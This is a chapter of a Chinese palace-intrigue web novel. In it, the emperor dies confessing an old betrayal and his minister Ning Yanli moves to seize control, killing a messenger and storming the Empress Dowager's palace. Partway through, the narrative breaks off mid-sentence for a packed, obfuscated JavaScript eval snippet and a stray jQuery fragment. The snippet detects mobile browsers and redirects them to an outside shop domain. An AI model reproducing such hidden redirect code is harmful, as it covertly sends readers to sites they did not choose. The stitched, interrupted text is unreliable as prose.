110.第110章
    ……

    “三殿下小心着点儿!”

    “哎呦!老奴看得心惊肉跳,殿下还是快下来吧!”

    棠梨宫的四月,初春乍暖,素白梨花抱满枝头。

    一个糯白团子似的俏娃娃扒开嫩绿枝桠,从树上笑嘻嘻探出一张小脸,对树下一身华服的文弱小少年得意道:“阿兄!我在这儿呢!”

    一众内侍宫婢围在树下,见糯白团子悬着半个身子探出来,一个个急得跳脚,纷纷伸出双手去接,生怕他一个不稳掉了下来。

    文弱小少年也是一脸焦急,招手道:“阿衍,你先下来!”

    糯白团子却不以为意,一双黑瞳亮晶晶地眨了眨,用稚嫩的童声道:“阿兄,冬日就要到啦!”

    眼下正是逢春时节,说什么冬日到了。

    文弱小少年急得想哭,根本听不懂他在说些什么,只知道自己这个弟弟若真出什么意外,父亲定然饶不了自己。

    一想起父亲严厉的脸,他更想哭了。

    却在这时,头顶忽而有片片梨花飘落,素妆淡抹,宛若飞雪。

    他愣住,仰起脸,一时竟看呆了去。

    糯白团子抱着枝桠奋力地摇着,咯咯笑道:“阿兄你看!下雪啦!”

    ……

    孩童笑声清澈,梨花纷飞如雪。

    红墙碧瓦的宫苑飘满落白,随着时间泛黄,继而远去。

    肩上的外氅倏然滑落,发出轻微声响。宁晏礼睁开眼,视线逐渐清晰起来。

    烛火忽明忽暗,照在在面前尚未批完的奏折上,他捏了捏眉心,轻舒了口气。

    刚要提笔,余光突然瞥见窗棂间,隔着窗纸映出簌簌飘落的影。

    宁晏礼微微一怔。

    内侍推开窗,刚打开一道缝隙,便有雪花被凉风裹挟,抽入窗缝。

    居然下雪了。

    可眼下尚未入冬。

    宁晏礼思忖片刻,蓦地起身,大步上前一把拨开那内侍,把窗推得大敞。

    冷风簌簌刮过脸颊,漫天飞雪在夜幕下起舞,飘落,挂在院中海棠树的秃枝上,压落最后一片枯叶。

    莫名的,他心下油生出一种不好的预感。

    “大人!外面天凉,把外氅披上吧!”

    内侍捧着衣裳忙不迭跟在后面,宁晏礼却置若罔闻,径自顶着风雪,向李洵寝殿走去。

    守在李洵寝殿外的钱福见宁晏礼疾步而来,面色严肃,肩头还落着未化的雪,不由得一愣:“大人?”

    “今晚是谁在里面侍疾?”

    宁晏礼话音未落,就听“啪嚓”一声,殿内传来瓷盏摔碎的声音。

    众人脸色同时一僵,接着就见门扇被猛地拉开,侍疾的赵淑仪白着一张脸出来,哆嗦道:“来,来人,陛下,陛下……”

    宁晏礼目光陡沉,向钱福使了个眼色。钱福会意,立即命人将赵淑仪捂住嘴绑了扭送到后殿。

    “守住宫门,此事不得声张。”宁晏礼对两旁道。

    言罢,便撂起袍摆,带着钱福迈入殿中。

    龙榻上的皇帝面色青白,双目紧闭,刚吐出的汤药洇在枕边,透出浓黑的深褐色,仿佛陈年的血。

    宁晏礼伸出两指探到李洵鼻息下,少顷,紧锁的眉头才稍舒展些。

    “传霍长玉。”他道。

    “诺。”钱福匆匆退了下去。

    殿中浓苦的药味压抑而窒息,短短月余,李洵已形如枯槁。宁晏礼看着他,不禁想起二人孩提时候。

    李洵自幼体弱多病,夏日着单衣常显得小小少年单薄得仿佛风一吹就散,唯有冬日裹上厚厚实实的毛绒大氅,才看着不那么孱弱。

    可而今看着病榻上的他,怕是难捱到冬日了。

    宁晏礼沉默地站在榻前,半晌,却忽见李洵苍白的唇微微翕动。

    “阿衍,下雪了……”

    宁晏礼睫羽一颤,深深看向他。

    李洵的手指动了动,接着,双眼虚弱地,缓缓拉开一道缝隙。

    他灰暗的眸子微微转动,视线由远及近,最终定在了宁晏礼身上。

    “宁卿……”他虚弱道,声音几不可闻。

    宁晏礼顿了顿,道:“臣在。”

    李洵极其缓慢地合了一下眼:“朕做了个梦……”

    “梦到孩提时,在棠梨宫……朕的衍弟爬到树上,抱着枝干……梨花漫天,如隆冬飞雪……”

    李洵说得极其艰难,每句都要缓上半天,才似攒足了力气道出下一句话。

    “奈何,花枝辞树,终不抵流水,亦不复年少……朕回想一生,或许那才是最畅意的年岁……”

    “秋去春来,周而复始。”宁晏礼平声道:“待陛下龙体康健,昭阳殿的海棠便又开了。”

    李洵默默看了他一眼,艰难扯了扯唇角:“如今连你,也不同朕讲真话了……”

    他灰暗的眸子浮上一丝苦涩:“想来是朕这皇位,来得不正,所以人心叛离,子嗣凋零……”

    “当年,若不是朕藏了私心……刻意替母亲和舅舅隐瞒,阿衍和宸妃就不会被……”

    李洵的话音缓慢,却将宁晏礼瞬间坠入那些鲜血淋漓的过往。

    染血的长戟,混乱的哭喊,为保护自己而被魏兵拖走的母亲……

    宁晏礼目光愈渐冰冷。

    “是朕……”李洵攥紧锦被,眼底泛起殷红:“是朕害了阿衍……”

    宁晏礼眼底聚起戾色,居高临下地看着他,不觉于袖下收紧五指。

    这时,殿外突然传来钱福的声音:“霍大人到了。”

    一句话将宁晏礼骤然拉回眼前。

    他刚要抬起的手顿了顿,少顷,平声道:“御医来了,臣先告退。”

    说着,便向殿外走去。

    “阿衍……”李洵望着他的背影,忽而唤道。

    宁晏礼侧了侧脸,没有回头,径直走到门前。

    李洵的呼吸越来越轻,攥紧锦被,勉强撑起模糊的视线:“……阿衍,如今只有你我,为兄唤你,你为何,为何不应?”

    宁晏礼抬手搭上门扇,低声道:“陛下认错了。”

    “太,太极殿,匾额后,有一道遗诏……”

    宁晏礼微微顿住。

    “朕若将这皇位还你……你可愿原谅朕?”李洵气若游丝道。

    宁晏礼陡然望向龙榻。

    “为兄最后,只求你一事,”李洵艰难地侧过头,回望向他,眼里倏然流下一道泪水:“阿昭……别杀……”

    宁晏礼漆黑的瞳孔轻颤了颤,半晌,终于闭上眼,低应了一声:“好。”

    李洵放下心似的轻出了口气,视线缓缓移向殿里的雕花窗。

    风将窗纸吹鼓,廊檐下的宫灯映出大片雪花的影。

    李洵微微勾起唇,用最后的气力抬手伸去,似是想要抓住那再也回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253467|131294||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不去的少年时光。

    “真想……”

    再看一次棠梨宫的雪啊……

    ……

    .

    殿门倏然打开。

    “大人——”钱福看见宁晏礼的神情,蓦地将话音咽了回去。

    霍长玉也是一怔,旋即明白过来,错身疾步迈入殿内,在确认龙榻上的皇帝已然停止了呼吸后,脸色白了白,匆匆退出殿外。

    他关好殿门,回身对宁晏礼道:“眼下你打算怎么做?”

    “派人到太极殿,把匾额后的诏书取来。”宁晏礼道。

    霍长玉愣了愣,没明白是什么诏书,但还是应道:“好,我这就带人过去。”

    “大人!”司白带着两名黑甲军扭送着一个小内侍上前:“这厮方才要去长寿宫传信,被属下拦住,当如何处置?”

    那小内侍被堵着嘴,不停挣扎发出“呜呜”的闷叫。

    几乎是瞬间,剑光陡闪,一道血注飞溅,哗地洒在朱红的檐柱上。

    那小内侍瞪大了眼睛,呜咽一声,应声倒地。

    宁晏礼手腕一抖,将天子剑收回剑鞘,扔给司白:“传信给京郊大营随时待命。另传陛下口谕,立即召五品以上官员至太极殿觐见,违者立斩。”

    司白抱剑伏手:“诺。”

    院中已被雪铺成素白一片。

    宁晏礼穿过风雪,点了几个黑甲军跟着。

    钱福捧着墨色大氅追了出来,为他披上:“大人眼下这时节要去何处?”

    寒风吹动氅领,宁晏礼眸光森寒如雪,冷道:“长寿宫。”

    .

    长寿殿内,烛火幽暗。窗柩嵌的琉璃将雪光折映在地上,泛出粼粼波光。

    陈太后看着更漏,掐着佛珠道:“算着时辰,淮南王府的兵马应该到了,为何还没人传信?”

    “太后娘娘息怒。”卢常侍小心翼翼地为她捏着肩膀:“各处宫门都有宁晏礼的黑甲军把守,王爷想要传消息进来并不容易。”

    陈太后冷嗤一声:“你们这些阉人心思极细,最是不好对付。”

    卢常侍的嘴角僵了僵,赔笑道:“太后娘娘所言极是。”

    “不过,他宁晏礼也得势不了太久了。”陈太后想起陈氏折在宁晏礼手里的性命,不禁银牙一咬,狠声道:“李鳌已携本宫手谕,连同楚王和豫章王带兵进京,清君侧,除佞臣。只待大军一到,宁晏礼便是死期将至。”

    “太后娘娘圣明。”卢常侍耸搭着眼,笑着附和。

    陈太后侧头瞥了他一眼,把他的手从自己肩上挥开,叹了口气:“昭阳殿今日可有什么消息?皇帝还是那般时常昏睡吗?”

    提到昭阳殿,卢常侍想起什么似的,古怪道:“回太后娘娘,今日昭阳殿不知怎的,也没传信来。”

    陈太后皱了皱眉,刚要开口,就听殿外传来响动。

    她望了过去:“何人在殿外?”

    谁料话音甫落,外面又响起一记闷声惨叫,几乎同时,一道血影唰地泼溅在了门扇上。

    “哐”地一声,殿门被赫然推开,震动廊檐下垂挂的宫灯。

    黑甲军持刀冲入殿中,吓得卢常侍两腿一软。

    陈太后心下大惊,当即拍案而起,立目喝道:“放肆!竟敢擅闯长寿宫!”

    正待此时,一道颀长的身影逆光走来,墨色大氅卷着飞雪,裹携着周身的寒意与戾气,迈入殿中。